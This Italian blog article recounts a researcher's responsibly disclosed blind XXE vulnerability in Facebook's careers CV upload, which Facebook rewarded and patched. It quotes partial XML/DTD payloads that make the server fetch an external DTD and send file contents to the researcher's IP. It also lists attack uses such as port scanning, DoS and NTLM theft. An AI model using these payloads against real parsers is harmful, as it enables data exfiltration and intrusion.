Sicurezza informatica · 4 min read · Nov 23, 2025
Hacking di Facebook iniettando un payload XML in un documento Word

Table Of Contents
- Hacking di Facebook utilizzando un documento Microsoft Word contraffatto
- Vulnerabilità note
- Conseguenze
- Ricompensa ricevuta
Hacking di Facebook utilizzando un documento Microsoft Word contraffatto
Mohamed Ramadan, un ricercatore di sicurezza white hat, ha trovato una vulnerabilità critica in Facebook che consente il controllo dell’utente utilizzando un file .docx di Microsoft Word contraffatto.
Ramadan ha trovato con successo vulnerabilità in importanti fornitori di servizi come Google, Facebook, Twitter, Microsoft, ecc. ed è stato premiato con una ricompensa per bug da parte loro.
Vulnerabilità note
È un fatto noto che Facebook non ha i server più sicuri al mondo. Molte persone hanno segnalato bug di alta gravità dal 2010 e il social network ha anche corretto una pericolosa vulnerabilità XXE che colpiva OpenID alla fine del 2013. Un XXE (XML External Entity) è un metodo che sfrutta un debole meccanismo di parsing XML. Questo attacco può portare alla divulgazione di dati riservati, denial of service, scansione delle porte dal punto di vista della macchina in cui si trova il parser e altri impatti sul sistema. Puoi leggere di più su queste correzioni qui.
Facebook aveva chiarito che aveva corretto tutti i suoi server, quindi trovare un’altra vulnerabilità XXE sembrava altamente improbabile. Eppure Ramadan decise di continuare la sua ricerca. Dopo alcune indagini, si imbatté nella pagina delle carriere di Facebook https://www.facebook.com/careers/. È riuscito a caricare il suo CV su Facebook, ma si rese conto che poteva caricare solo file nei formati PDF o .DOCX. Un file .docx è fondamentalmente un file XML compresso sviluppato da Microsoft e Ramadan vide una falla nel sistema di sicurezza di Facebook. Creò un CV falso con un documento Microsoft Word contraffatto e lo caricò sulla pagina web delle carriere di Facebook.
Creò un file XML con il seguente codice scritto al suo interno
DOCTYPE root [ dtd SYSTEM “https://197.37.102.90/ext.dtd”> %dtd; %send; ]]>
Ora aveva un CV contraffatto pronto. Avviò un server HTTP in esecuzione su Python sulla sua macchina locale. Creò un file chiamato ext.dtd in attesa nella directory mohaab007 e qui c’è il contenuto di ext.dtd:
https://197.37.102.90/FACEBOOK-HACKED?%25file;’>” > %all;
Dopo aver caricato il CV Word contraffatto, attese una risposta dal sito web di Facebook. Come afferma nel suo blog,
“Ora tutto va bene e poi ho caricato CV.docx su https://www.facebook.com/careers/ e ho aspettato un minuto ma non è successo nulla. Ho detto a me stesso che era un totale fallimento e avrei controllato il mio profilo Facebook invece e chattato con alcuni amici e giocato a un gioco o qualcosa del genere dopo questo lungo FALLIMENTO. Ho sprecato circa 15 minuti a chiacchierare e navigare, ora è tempo di fermare il server http di Python e chiudere Facebook e tutto il resto. Stavo per chiudere la mia finestra del terminale e sono rimasto scioccato nel vedere che qualcosa si era connesso al mio server http di Python”
Era riuscito a ingannare un server di Facebook a connettersi al suo server. Con le sue stesse parole, ora poteva sfruttare questa connessione per:
DoS il sistema di parsing facendolo aprire, ad esempio file:///dev/random | file:///dev/urandom | file://c:/con/con
Scansioni TCP utilizzando entità esterne HTTP (incluso dietro i firewall poiché i server delle applicazioni spesso hanno una visione del mondo diversa da quella dell’attaccante)
Accesso non autorizzato ai dati memorizzati come file XML nel file system del sistema di parsing (ovviamente l’attaccante ha ancora bisogno di un modo per recuperare questi dati)
DoS su altri sistemi (se il sistema di parsing è autorizzato a stabilire connessioni TCP con altri sistemi)
Furto di materiale di autenticazione NTLM avviando l’accesso ai file UNC a sistemi sotto il controllo dell’attaccante (fantasioso?)
Scenario apocalittico: un’applicazione ampiamente distribuita e altamente connessa vulnerabile a questo attacco potrebbe essere utilizzata per DDoS.
Elenco delle directory, leggere file di sistema e applicazione e in alcuni casi eseguire comandi di sistema utilizzando il wrapper php expect://.
Conseguenze
Cercò di accedere ai file di sistema sul server, ma non riuscì ad ottenere accesso, molto probabilmente a causa dei meccanismi di sicurezza in atto. Ma era sicuro che l’attacco che era riuscito a portare a termine era un Blind XXE Out Of Band (OOB) e inoltre era un processo che richiedeva tempo perché doveva caricare e aspettare il risultato dopo 15 minuti o più. Senza ulteriori indugi, informò il social network delle sue scoperte. Le sue scoperte furono respinte immediatamente la prima volta, con le seguenti parole.

Rispose al team di sicurezza di Facebook inviando loro il CV contraffatto, a cui FB rispose con il seguente messaggio:

Non era ancora soddisfatto e continuò a corrispondere con il team di sicurezza di Facebook, che alla fine si rese conto della vulnerabilità nel suo meccanismo di caricamento file.

Ricompensa ricevuta
Facebook ha riconosciuto la vulnerabilità e, secondo la sua politica, ha premiato Ramadan per la sua ricerca. Hanno corretto la vulnerabilità aggiungendo questa riga di codice:
“ libxml_disable_entity_loader(true) “
Di seguito è riportato un video PoC che Ramadan ha caricato su YouTube per mostrare la vulnerabilità in Facebook
Risorsa: Attack Secure
Ricevi i nuovi post nella tua casella di posta.
Nessuno spam. Disiscriviti in qualsiasi momento.